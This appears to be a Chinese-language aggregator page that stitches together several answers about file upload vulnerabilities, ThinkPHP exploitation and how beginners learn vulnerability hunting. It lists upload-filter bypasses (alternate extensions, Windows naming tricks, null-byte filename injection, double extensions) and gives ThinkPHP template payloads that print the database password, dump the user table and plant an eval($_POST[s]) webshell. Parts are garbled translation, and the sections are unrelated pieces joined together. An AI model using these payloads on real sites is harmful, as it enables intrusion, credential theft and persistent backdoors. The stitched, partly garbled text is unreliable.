本文目录一览:
文件上传漏洞有哪些挖掘思路?
文件上传漏洞作为获取服务器权限最快的方式,虽然相关资料很多,但很多人对上传校验方式、如何针对性绕过检测、哪种上传和解析的场景会产生危害等还是比较模糊。本文作一些阐述,然后补充一些除了上传webshell的其他非常规挖掘姿势,包括XSS、重定向、Dos、CSRF等等。
1、基础知识:
要深入了解文件上传,必须了解上传属性、常见文件的结构、图形处理函数等内容。
1) 报文特点:
观察文件上传报文的特点:
Header中Content-Type特征有二:
1.multipart/form-data(form表单的enctype属性,规定为二进制数据)
2.boundary字符串(作用为分隔符,以区分POST数据)
POST内容特征有五:
1.Content-Disposition:form-data
2. name:input表单名
3.filename:文件名
4.Content-Type:定义文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件;
5.boundary:Content-Type的值前面加了两个---
2) 常见校验规则
现存常用的上传校验规则无非下面几类:
1.客户端javascript校验(后缀名)
2.文件头content-type字段校验(image/gif):附带参数
4.后缀名黑/白名单校验:扩展名
5.文件内容头校验:GIF89a
6.文件内容校验:文件信息,二次渲染
7.自定义正则校验
3)一个澄清
文件上传和文件解析是两个过程,即使我们上传的是php文件,但解析为图片,访问php文件会显示“图片无法显示”;或者我们上传的是jpg文件,但里面混有shell脚本,若被解析为php文件也会执行;又或者上传处没法绕过检测,只能上传jpg文件,但在其他功能处存在文件包含等功能,仍可执行成功。
还是回到安全的本质,上传是“输入”,那文件解析就是“输出”,任何漏洞挖掘都需要结合输入+输出。
2、绕过技巧:
这里汇总一些实战中较常用的绕过技巧:
1)后缀名黑名单
以下替换后缀也可以解析为shell:
php:.phtml,.phpt,.php3,.php3p
asp:.aspx,asmx,ashx,web.config
perl:.pl,.pm,.cgi,.lib
jsp:.jspx,.jsw,.jsv,.jspf
Coldfusion:.cfm,.cfml,.cfc,.dbm
另外可以配合操作系统的文件命名规则:
.php.,.php空格,.php:1.jpg,.php::$DATA等
这些后缀的文件会被windows系统自动去掉不符合规则符号后面的内容,从而只留下.php。
2)后缀名白名单
除了结合各种服务器解析特性,较常用的是Null Byte Injection空字节注入,插入空字节值的原因是某些应用程序服务器脚本语言使用c/c++库来检查文件名和内容。在C/C ++中,一行以/00结尾或称为NullByte。因此,只要解释器在字符串的末尾看到一个空字节,就会停止读取,认为它已经到达字符串的末尾。
如,我们将要上传的Happy.jpg的名称更改为Happy.phpA.jpg,然后上传文件,在Burp中捕获请求,切换到Hex视图。在字符串视图中找到文件名。查看相应的Hex表,并将41('A')替换为00(为空字节)。结果字符串变为Happy.php(空).jpeg。由于php解释器在内部使用C语言库,它将停止读取Happy.php后的文件名,文件将保存为Happy.php。
另一种绕过白名单的方法是使用双后缀:shell.php.jpg。
thinkphp 怎么利用漏洞
1. 使用URL可以查看用户的数据库帐号密码DB_NAME,DB_PASS,DB_HOST
{@print(THINK_VERSION)}
{@print(C(‘’))}
{@print(C(‘DB_PASS’))}
2.使用模型D方法或者M方法,猜测后台帐号密码,当然首先要先猜一下用户的表名了
{@var_dump(D(user)-select())}
3.直接执行一句话代码,然后用菜刀直接连接.
{${eval($_POST[s])}} 一句话密码:s
零基础如何学习挖漏洞?
师傅领进门,修行在个人。
国内研究洞挖掘所谓的“地面”的习惯,吃各种各样的编程书籍,然后研究挖洞,这个问题不是好学的编程控制的程度,和纯首先学习编程也很无聊,很多人可能无法坚持。
编程打底
我们不打算学习编程技术,但主要是了解漏洞挖掘。我建议你先把编程放到底层,基础的概念是:“掌握语言的基本语法,通用的功能,写一些演示。”“如果您有一个基础,您可以查看以前的漏洞分析文章,您会发现在这个过程中有一些困难,因此您可以遵循相关的编程技术。而不是仅仅啃着一本编程书。
学习方法
掌握基本的PHP语法,常用的PHP函数,并为常用的PHP函数编写一些演示。然后开始看到PHP应用程序漏洞分析,开始出现一些基本的漏洞,如简单的纯get、post no intval或SQL注入的强制,看看我们以前做过的这些基本的事情。
漏洞利用
让我们来看看一些更高级的漏洞,比如各种可变覆盖漏洞,例如由unserialize引起的代码执行,我们可能会发现很难开始查看这些漏洞。然后你需要回过头来看看提取和其他函数的具体用法。
每一对$_REQUEST的变量生成过程是什么?unserialize函数的执行流程是什么?然后去看以前的技术文章将会是开明的。
这只是一个基本的PHP漏洞挖掘,然后熟练地尝试查看一些漏洞分析框架,比如thinkphp,这些也涉及OOP的知识,所以回到学习PHP OOP编程,然后继续。
总结
所以我认为还是先好好学习好语言,然后再学其他的会更扎实。
如何查找php文件包含漏洞的方法
找360或安全联盟检测接口, 免费的。
主要是查上传漏洞。可以百度下,够学习一段时间的。